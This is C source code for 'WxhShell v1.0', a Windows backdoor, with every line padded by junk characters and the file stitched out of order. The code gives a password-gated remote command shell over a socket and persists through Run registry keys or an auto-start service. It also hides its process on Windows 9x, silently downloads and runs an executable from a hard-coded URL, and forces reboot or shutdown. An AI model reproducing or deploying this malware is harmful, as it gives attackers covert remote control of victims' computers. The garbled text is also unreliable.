    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CzF#feTA  
    if(Boot(SHUTDOWN)) Tl.dr   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _H:mBk,,  
    else { zj ;'0Zu  
    closesocket(wsh); Y<'T;@  
    ExitThread(0); 6!|-,t><  
    }  vO 85h  
    break; : Gp,d*M  
    } f$G{7%9*  
  // 获取shell jl;%?bx  
  case 's': { STDT]3.  
    CmdShell(wsh); '!)|;qe  
    closesocket(wsh); Jww LAQ5  
    ExitThread(0); !TJCQ[Aa }  
    break; _S43_hW  
  } _b+=q:$/  
  // 退出 jY>BU&  
  case 'x': { ~bSPtH ]6d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GA, 6G [E  
    CloseIt(wsh); wf4?{H  
    break; prf  
    } 1m*fkM#  
  // 离开 01n5]^.p  
  case 'q': { +Ar=89  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a#iJXI  
    closesocket(wsh); 'eNcQJh  
    WSACleanup(); Zrtyai{8l  
    exit(1); y$=$Yc&Ub  
    break; 29(s^#e8A  
        } q[l!kC+Eh  
  } \,<5U F0  
  } zJnF#G  
VCzmTnD  
  // 提示信息 EgAM,\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W0 n/B &C  
} o ]UG*2  
  } s2-`}LL  
VKW9Rn9Qg  
  return; wb@TYvDt  
} d4Y8q1  
czMThm  
// shell模块句柄 ou;E@`h;x  
int CmdShell(SOCKET sock) n>d@}hyv  
{ mM| 313  
STARTUPINFO si; 3snr-)   
ZeroMemory(&si,sizeof(si)); %?gh;? GD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 26yjQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x>5"7MR`  
PROCESS_INFORMATION ProcessInfo; /&g5f4[|p  
char cmdline[]="cmd"; P&Vqr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :x*|?zII  
  return 0; ^l}Esz`-M  
} [<;4$}f\  
6xk~Bt  
// 自身启动模式 _`4jzJ*  
int StartFromService(void) Pqe{C?7B  
{ xh$1Rwa  
typedef struct F dR!jt  
{ !;";L5()  
  DWORD ExitStatus; ;9>(yJI+  
  DWORD PebBaseAddress; biTET|U`$  
  DWORD AffinityMask; BU-m\Kf)  
  DWORD BasePriority; Bnju_)U5)  
  ULONG UniqueProcessId; )Mw<e  
  ULONG InheritedFromUniqueProcessId; 6%/@b`vZ  
}   PROCESS_BASIC_INFORMATION; t2)S61Vr  
R5iv]8X4W  
PROCNTQSIP NtQueryInformationProcess; o"5Bg%H  
5$kv,%ah  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1'q llkT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2b|$z"97jj  
%d..L-`]ET  
  HANDLE             hProcess; da c?b (  
  PROCESS_BASIC_INFORMATION pbi; [ D[&aA  
Z^AOV:|m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5^"T `,${  
  if(NULL == hInst ) return 0; }!tJ3G  
CRK%%;=>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A#:5b5R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %y( oY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 739J] M  
E;[ANy4L  
  if (!NtQueryInformationProcess) return 0; V2< 4~J2:9  
m_{?py@tZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); . zM  
  if(!hProcess) return 0; OGgP~hd  
Ho3$T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'Xl[ y  
,L iX  
  CloseHandle(hProcess); de.!~%D  
%kM|Hk3d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k)VoDxMKK  
if(hProcess==NULL) return 0; k5]M~"  
J&%d(EJM  
HMODULE hMod; cR 0+`&  
char procName[255]; K OZHz`1!  
unsigned long cbNeeded; {fi:]|<1h  
W'f{u&<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ey5E1$w%&  
!}u'%  
  CloseHandle(hProcess); crV2T  
iHKWz)0  
if(strstr(procName,"services")) return 1; // 以服务启动 ?k$3( -  
PCxv_Svf  
  return 0; // 注册表启动 i qCZIahf  
} <t9#~x#'b  
%_*q'6K  
// 主模块 B^W0Ik`m  
int StartWxhshell(LPSTR lpCmdLine) 3GkVMYI  
{ |Gc2w]\3  
  SOCKET wsl; RS'%;B-)  
BOOL val=TRUE; &|t*9 D  
  int port=0; Ol8ma`}Nq3  
  struct sockaddr_in door; j5lSu~  
nl9G1Sm(E  
  if(wscfg.ws_autoins) Install(); N7A/&~g5L  
SKx&t-  
port=atoi(lpCmdLine); B>dXyo  
CO25  
if(port<=0) port=wscfg.ws_port; Pb05>J3N  
fD8A+aA  
  WSADATA data; `mU'{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [C@0&[[  
oM`[&m.,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s`2Hf&%aZJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dpHK~n j\_  
  door.sin_family = AF_INET; N O|&nqq,>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G.KZZ-=_4  
  door.sin_port = htons(port); HtWuZq; w  
n:c)R8X]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y}NBJ  
closesocket(wsl); O=wA/T=w?  
return 1; vM5u]u!  
} 16q"A$  
]=5nC)|  
  if(listen(wsl,2) == INVALID_SOCKET) { ,U_p6 TV5  
closesocket(wsl); -\mbrbG9H  
return 1; 3c<). aC0f  
} Y|bCbaF  
  Wxhshell(wsl); )*[3Imq/  
  WSACleanup(); ^MPl wx  
Og8:  
return 0; R8 1z|+c|_  
|2,'QTm=  
} 0) }bJ,5/  
OSc&n>\t  
// 以NT服务方式启动 cnh\K.*}_x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]V!q"|  
{ 8$ dJh]\Y  
DWORD   status = 0; u_.`I8qa  
  DWORD   specificError = 0xfffffff; &P Ru[!  
I4%&/~!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q<$I,C]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S:qML]RO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _9!_fIY  
  serviceStatus.dwWin32ExitCode     = 0; /"d5<B`%  
  serviceStatus.dwServiceSpecificExitCode = 0; m7z6c"?lB  
  serviceStatus.dwCheckPoint       = 0; g0-hN%=6  
  serviceStatus.dwWaitHint       = 0; _1w?nN'  
<<>?`7N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q>y2C8rnJ/  
  if (hServiceStatusHandle==0) return; 9;3f`DK@2k  
[([?+Ouy  
status = GetLastError(); :( A5 ,$  
  if (status!=NO_ERROR) S?.2V@Ic  
{ ZRY s7 4<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uVJ;1H!  
    serviceStatus.dwCheckPoint       = 0; $Bd{Y"P@6  
    serviceStatus.dwWaitHint       = 0; 9)={p9FZY  
    serviceStatus.dwWin32ExitCode     = status; ^hOnLy2  
    serviceStatus.dwServiceSpecificExitCode = specificError; j'lfH6_')e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v%t "N  
    return; D0(QZrVa  
  } x|/zn<\^  
?A7&SdJaO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p;av63 i  
  serviceStatus.dwCheckPoint       = 0; "y@B|  
  serviceStatus.dwWaitHint       = 0; |sWH!:]49  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "7_6iB&@<  
} yE3g0@*  
M~Tq'>Fn  
// 处理NT服务事件,比如:启动、停止 <'H^}gQow  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #&vP(4p  
{ _iBNy   
switch(fdwControl) S[!-M\b  
{ VIo %((  
case SERVICE_CONTROL_STOP: Lc;4 Hg  
  serviceStatus.dwWin32ExitCode = 0; mVGQyX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; jdxwS  
  serviceStatus.dwCheckPoint   = 0; OZdiM&Zss  
  serviceStatus.dwWaitHint     = 0; gf6<`+/  
  { D6!`p6r+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HpI[Af}l  
  } mq@2zE`.(  
  return; 7B GMG|  
case SERVICE_CONTROL_PAUSE: @$ E&H`da  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aML?$_6  
  break; qG.HJD  
case SERVICE_CONTROL_CONTINUE: <TmMUA)`}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3QSP](W-(  
  break; 3P C'P2  
case SERVICE_CONTROL_INTERROGATE: H:x=v4NgsU  
  break; b!VaEK  
}; +o)o4l%3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E.kGBA;a?  
} .L'>1H]B  
1MI/:vy-  
// 标准应用程序主函数 R.Xh&@f`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X 10(oT  
{ dwOB)B@{H  
"`Q~rjc$2  
// 获取操作系统版本 Q:$<`K4)  
OsIsNt=GetOsVer(); qn}w]yGW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,.Ac= "f  
[pf78  
  // 从命令行安装 HJT}v/FZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7r#U^d(  
-AcLh0pc  
  // 下载执行文件 ^`NU:"  
if(wscfg.ws_downexe) { } =Yvs)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E/@w6uIK[  
  WinExec(wscfg.ws_filenam,SW_HIDE); C5;=!B  
} \O 9j+L"  
ikf6Y$nWfF  
if(!OsIsNt) { R%iyNK,  
// 如果时win9x,隐藏进程并且设置为注册表启动 l@ vaupg  
HideProc(); x_lCagRGC4  
StartWxhshell(lpCmdLine); D{YAEG   
} 4f/2gI1@B  
else zJNiAc  
  if(StartFromService()) -d? 9Acd  
  // 以服务方式启动 3uO#/EbS  
  StartServiceCtrlDispatcher(DispatchTable); `MFw2nu@t  
else :JW!$?s8H  
  // 普通方式启动 xj~ /C5@  
  StartWxhshell(lpCmdLine); ] fz0E:x  
}MAvEaUd  
return 0; lNuZg9h  
} *Iv.W7 [  
G v(bD6Rz  
Gqvnc8V&  
|FS,Av  
=========================================== t?H.M  
kBYZNjSz  
UD6D![e  
'3B`4W,  
F/z$jj)  
46c7f*1l  
" ,@"Z!?e  
=qH9<,p`H  
#include <stdio.h> EMME?OW$  
#include <string.h> ^LgaMmz  
#include <windows.h> X6s6fu;  
#include <winsock2.h> a-\\A[E  
#include <winsvc.h> "5*n(S{ks  
#include <urlmon.h> p?S:J`q  
`WvNN>R  
#pragma comment (lib, "Ws2_32.lib") |r*btyOJk  
#pragma comment (lib, "urlmon.lib") FT'_{e!M  
vq yR aaMf  
#define MAX_USER   100 // 最大客户端连接数 S'~Zlv 3`  
#define BUF_SOCK   200 // sock buffer 7Yp;B:5@  
#define KEY_BUFF   255 // 输入 buffer b(wzn`Z%Et  
Z(LDAZG  
#define REBOOT     0   // 重启 nHxos` Qx  
#define SHUTDOWN   1   // 关机 $ c4Q6w  
O<nJbsl_w  
#define DEF_PORT   5000 // 监听端口 N\XZ=t^h(  
5qo^SiB.  
#define REG_LEN     16   // 注册表键长度 [wB-e~   
#define SVC_LEN     80   // NT服务名长度 OM5"&ZIZb  
C 9IKX  
// 从dll定义API 6FPGQ0q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !{5jP|vo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \5UwZx\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z'c{4b`N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WS6pm6@A*!  
z[:UPPbW  
// wxhshell配置信息 ;n?72&h  
struct WSCFG { W70J2  
  int ws_port;         // 监听端口 g`~c|bx  
  char ws_passstr[REG_LEN]; // 口令 lN94 b3_W  
  int ws_autoins;       // 安装标记, 1=yes 0=no BEM_y:#  
  char ws_regname[REG_LEN]; // 注册表键名 ct='Z E  
  char ws_svcname[REG_LEN]; // 服务名 j3 d=O!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .-[uQtyWW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n\k6UD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 AD$k`Cj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R:S Fj!W1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Rz% Px:M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }m NP[L  
 e;8>/G  
}; ;EstUs3  
5Gm,lNQAv  
// default Wxhshell configuration envu}4wU=e  
struct WSCFG wscfg={DEF_PORT, 4Fhiac  
    "xuhuanlingzhe", L12m ;  
    1, pnin;;D*  
    "Wxhshell", \zA$|) x  
    "Wxhshell", O[[:3!6q  
            "WxhShell Service", h _6QVab@  
    "Wrsky Windows CmdShell Service", hl}@ha4'  
    "Please Input Your Password: ", .QX|:]|n  
  1, =&?}qa(P  
  "http://www.wrsky.com/wxhshell.exe", <-uE pF  
  "Wxhshell.exe" v|acKux=t  
    }; '/+l\.z"&  
4~-"k{Xt  
// 消息定义模块 b}'XDw   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  Qj(q)!Ku  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "'p;Udt/Qm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oj*5m+:>a  
char *msg_ws_ext="\n\rExit."; t{?UNW  
char *msg_ws_end="\n\rQuit."; %v=z|d5-3  
char *msg_ws_boot="\n\rReboot..."; vU Bk oC2Q  
char *msg_ws_poff="\n\rShutdown..."; |__\Vn  
char *msg_ws_down="\n\rSave to "; VgG*y#Qf$  
#mY*H^jI]~  
char *msg_ws_err="\n\rErr!"; xEtzqP<]  
char *msg_ws_ok="\n\rOK!"; 3DRbCKNL  
tj 6 #lM9  
char ExeFile[MAX_PATH]; ]$/TsN  
int nUser = 0; (!kOM% 3{  
HANDLE handles[MAX_USER]; KB+,}7  
int OsIsNt; S)Cd1`Gf  
$7~ k#_#PC  
SERVICE_STATUS       serviceStatus; ws9F~LmLbr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s hjb b  
l]R O'  
// 函数声明 01Bs7@"+  
int Install(void); vtw{ A}  
int Uninstall(void); >-rDBk ;K  
int DownloadFile(char *sURL, SOCKET wsh); )M(;:#le  
int Boot(int flag); Ho[Kxe[c  
void HideProc(void); +^$FA4<~  
int GetOsVer(void); @$'k1f(u>  
int Wxhshell(SOCKET wsl); ?H8w/{J   
void TalkWithClient(void *cs); QCkPua9  
int CmdShell(SOCKET sock); p]=a:kd4J  
int StartFromService(void); [/ uqH  
int StartWxhshell(LPSTR lpCmdLine); tWL3F?wd  
OI;0dS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yQb^]|XG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v3 4!rL  
7eb^^a?  
// 数据结构和表定义 nWpqAb  
SERVICE_TABLE_ENTRY DispatchTable[] = /h'V1zL#  
{ k&|L"N|w  
{wscfg.ws_svcname, NTServiceMain}, H%NP4pK  
{NULL, NULL} HV'xDy[)  
}; t4)~A5s  
i)fAm$8# G  
// 自我安装 [)U|HnAJ  
int Install(void) HNN,1MN  
{ hMz= \)Pl  
  char svExeFile[MAX_PATH]; +e_NpC  
  HKEY key; _?Zg$7VJ  
  strcpy(svExeFile,ExeFile); HJ[@;F|aU  
Y6L_ _ RT  
// 如果是win9x系统,修改注册表设为自启动 >mRA|0$  
if(!OsIsNt) { to~Ap=E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6QVdnXoG/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a$!|)+  
  RegCloseKey(key); *BzqAi0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d dB}mk6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4:<74B  
  RegCloseKey(key); 5Mm><"0  
  return 0; *(~7H6  
    } .G#wXsJj  
  } A&_H%]{<:  
} AcV 2l  
else { 'Ba Ba=  
d`9% :2qE  
// 如果是NT以上系统,安装为系统服务 +{Yd\{9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9[}L=n  
if (schSCManager!=0) ]pi"M 3f_  
{ n'a=@/  
  SC_HANDLE schService = CreateService JK:i-  
  ( !-1UJqO  
  schSCManager, $ )q?z.U  
  wscfg.ws_svcname, T+p ?VngF  
  wscfg.ws_svcdisp, s0,c4y  
  SERVICE_ALL_ACCESS, t|q@~B :  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dH"wYMNL  
  SERVICE_AUTO_START, b^b@W^\hn  
  SERVICE_ERROR_NORMAL, 0Q>f,}W%>  
  svExeFile, P)x&9OHV  
  NULL, M:V'vme)+  
  NULL, rhU]b $A  
  NULL, \k\ {S2SU  
  NULL,  GZ.Xx  
  NULL 3>X]`Oj7y  
  ); kBZnR$Cl  
  if (schService!=0) %9ef[,WT  
  { KEF"`VTB@  
  CloseServiceHandle(schService); KSsv~!3Yf  
  CloseServiceHandle(schSCManager); O>UG[ZgW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &u) R+7bl,  
  strcat(svExeFile,wscfg.ws_svcname); #&zNYzI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }gw \w?/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'J(rIH3U  
  RegCloseKey(key); $<R\|_6J  
  return 0; M6J~%qF^  
    } $g? ]9}p  
  } . 7WNd/WG  
  CloseServiceHandle(schSCManager); W@<(WI3  
} e<wA["^  
} C-Y~T;53  
@H%)!f]zWt  
return 1; V<&x+?>S  
} x { Z_rD  
 A.nU8   
// 自我卸载 >*/\Pg6^  
int Uninstall(void) q~_DR4xZ  
{ =+24jHs  
  HKEY key; +>BLox6  
ph*9,\c8  
if(!OsIsNt) { akg$vHhK4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4cC  
  RegDeleteValue(key,wscfg.ws_regname); KLVkPix;$  
  RegCloseKey(key); +o+e*B7Eh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NN(ZH73  
  RegDeleteValue(key,wscfg.ws_regname); t5 :4'%|  
  RegCloseKey(key); GG0l\! 2)  
  return 0; 0X6|pC~  
  } v%gkQa  
} 9K~0:c  
} h/`]=kCl  
else { xZ'-G6O "~  
y(gL.08<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fyYHwG  
if (schSCManager!=0) ~*aPeJ  
{ !EO*xxQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f;os\8JdM  
  if (schService!=0) s|*0cK!K^  
  { )IN!CmpN  
  if(DeleteService(schService)!=0) { &/XRiK1"0  
  CloseServiceHandle(schService); GQ=Zp3[  
  CloseServiceHandle(schSCManager); Cq mtO?vne  
  return 0; 'T G43^  
  } }G8gk"st  
  CloseServiceHandle(schService); nymF`0HYe1  
  } $7k"?M_  
  CloseServiceHandle(schSCManager); zx<:1nF,]  
} K?]><z{  
} OP:i;%@c  
\VQv "wid  
return 1; 7 YS'Tf  
}  J+hiz3N  
04;E^,V  
// 从指定url下载文件 SP}!v5.  
int DownloadFile(char *sURL, SOCKET wsh) (>~:1  
{ L'1!vu *Rg  
  HRESULT hr; s2SxMFDP  
char seps[]= "/"; q [}<LU  
char *token; %H)^k${  
char *file; b$7p`Ay  
char myURL[MAX_PATH]; eBUexxBY  
char myFILE[MAX_PATH]; S87E$k  
DxuT23. (  
strcpy(myURL,sURL); HW|5'opF  
  token=strtok(myURL,seps); 9]u=b\fzZ  
  while(token!=NULL) %x}iEqkU  
  { BQ8vg8e]B  
    file=token; is?#wrV=K  
  token=strtok(NULL,seps); o[$~  
  } e@6]rl  
5"~F#vt  
GetCurrentDirectory(MAX_PATH,myFILE); #bI ,;]T  
strcat(myFILE, "\\"); 6z-ZJ|?  
strcat(myFILE, file); NUSb7<s,&Y  
  send(wsh,myFILE,strlen(myFILE),0); hA'i|;|ZYc  
send(wsh,"...",3,0); ^/'zU,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1 8*M  
  if(hr==S_OK) *dmB Ji}  
return 0; m5c=h  
else OKW}8qM  
return 1; z@za9U`6i  
n 0/<m.  
} ,\fp .K<  
zx #HyO[a  
// 系统电源模块 G5MoIC  
int Boot(int flag) 6 &8uLM(z  
{ ~&}e8ah2  
  HANDLE hToken; CG[2  
  TOKEN_PRIVILEGES tkp; {C>E*qp}f  
uU$YN-  
  if(OsIsNt) { #)3luf3G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HB|R1<t;HB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7~zd % o  
    tkp.PrivilegeCount = 1; |B{@noGX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (5rfeSA^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MUQj7.rNa  
if(flag==REBOOT) { + *xi&|%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X RQz~Py  
  return 0; H18.)yHX  
} LyRbD$m  
else { "O}u2B b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;?h+8Z/{  
  return 0; K*!qt(D&  
} #gq!L  
  } ?hC,49  
  else { {>v5~G  
if(flag==REBOOT) { nrEG4X9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e=ITAH3b  
  return 0; VTUY#+3  
} s(.H"_ a  
else { ID_#a9N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4UxxmREx;  
  return 0; W(#u^,$e[  
} c1Rn1M,2k  
} ^-^ii 3G`  
e 48N[p  
return 1; R:+cumHr  
} Be$v%4  
;_~9".'<d  
// win9x进程隐藏模块 >0X_UDAWz  
void HideProc(void) [r#m +R"N  
{ f>CJ1 ;][{  
;% <[*T:*'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K[q{)>,9  
  if ( hKernel != NULL ) |tr^ `Z  
  { 7 /6 Zp?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zG* >g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N^Hj%5  
    FreeLibrary(hKernel); jk\z-hd  
  } '.B5CQ  
fxQ4kiI  
return; xqQLri}  
} -HU4Ow  
pN4gHi=  
// 获取操作系统版本 iSP}kM}  
int GetOsVer(void) #3knKBH  
{ A8X3|<n=  
  OSVERSIONINFO winfo; `B$rr4_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `s8o2"12  
  GetVersionEx(&winfo); y*#YIS56I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 71+ bn  
  return 1; |!q,J  
  else elGwS\sw  
  return 0; -=W Qed}  
} s-801JpiJ  
LrH"d  
// 客户端句柄模块 64UrD{$o  
int Wxhshell(SOCKET wsl) oTN:Q"oK7?  
{ z&c|2L-u6  
  SOCKET wsh; J kxsua  
  struct sockaddr_in client; IZ_?1%q>}  
  DWORD myID; O))YJh"'_  
#&}j'oD|N  
  while(nUser<MAX_USER) XW.k%H4@  
{ Nu;?})tF  
  int nSize=sizeof(client); HcQ)XJPK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QJy1j~9x  
  if(wsh==INVALID_SOCKET) return 1; 2,6~;R  
0N87G}Xu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mUNAA[0 L  
if(handles[nUser]==0) XI+GWNAmJ  
  closesocket(wsh); 2Krh&  
else X#>:9  
  nUser++; C %i{{Y&l  
  } g#q7~#9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UOpSH{N  
^o87qr0g]  
  return 0; 8#nAs\^  
} #62*'.B4  
Cq -URih  
// 关闭 socket wq7h8Z}l  
void CloseIt(SOCKET wsh) V!Pe%.>  
{ @u @,Edh  
closesocket(wsh); u]*f^/6Q  
nUser--; l@0${&n  
ExitThread(0); Vq599M:)V  
} l* z "wA-  
nR=!S5>S  
// 客户端请求句柄 USg,=YM  
void TalkWithClient(void *cs) &. MUSqo9  
{ \1O wZ@  
t"Bp # U1  
  SOCKET wsh=(SOCKET)cs; `&:>?Y/X2  
  char pwd[SVC_LEN]; SyI\ulmL  
  char cmd[KEY_BUFF]; QM24cm T  
char chr[1]; ?PYZW5  
int i,j; 5\Rg%Ezl  
C]Q`!e  
  while (nUser < MAX_USER) { t$&'mJ_-w  
zZW5M^z8  
if(wscfg.ws_passstr) { 0g2rajS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \UP=pT@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2fgYcQ8`  
  //ZeroMemory(pwd,KEY_BUFF); Zb7%$1)L~  
      i=0; p}Um+I=1  
  while(i<SVC_LEN) { B7wzF"  
29^(weT"]  
  // 设置超时 e'sS",o*  
  fd_set FdRead; ?kK3%uJy&  
  struct timeval TimeOut; {9FL}Jrt  
  FD_ZERO(&FdRead); x];i? 4  
  FD_SET(wsh,&FdRead); 6:q,JB@i  
  TimeOut.tv_sec=8; YwS/O N  
  TimeOut.tv_usec=0; ~3Za"q*0s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HB,?}S#TP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h$XoR0  
`-.6;T}2U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D_?dy4\  
  pwd=chr[0]; 82 dmlPwJC  
  if(chr[0]==0xd || chr[0]==0xa) { :NL[NbQYt  
  pwd=0; #uV J  
  break; ;9Qxq]  
  } |~@yXc5a  
  i++; P!SsMo6n  
    } $:yIe.F  
vJ{F)0 K  
  // 如果是非法用户,关闭 socket F1S0C>N?5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1(pv 3  
} rp4{lHw>C/  
aCJ-T8?'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @ULd~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (-],VB (+  
IR{XL\WF  
while(1) { [ahwJF#r  
K_n GZ/`[  
  ZeroMemory(cmd,KEY_BUFF);  9I:3  
4M!wm]n/%5  
      // 自动支持客户端 telnet标准   uz I-1@`  
  j=0; XgyLlp;,O  
  while(j<KEY_BUFF) { 4:Oq(e_(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OrF.wcg  
  cmd[j]=chr[0]; jZQ{ XMF  
  if(chr[0]==0xa || chr[0]==0xd) { P 'o]#Az  
  cmd[j]=0; ^ p7z3ng  
  break; A9KPU:  
  } Kf6 D)B 26  
  j++; )W6l/  
    } E`.:V<KW/  
K"[\)&WBG  
  // 下载文件 +tlBOl $  
  if(strstr(cmd,"http://")) { Ljiw9*ZI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >xA( *7  
  if(DownloadFile(cmd,wsh)) ArjRoXDE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (w#)|9Cxm  
  else 4 aE{}jp1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M(yWE0 3  
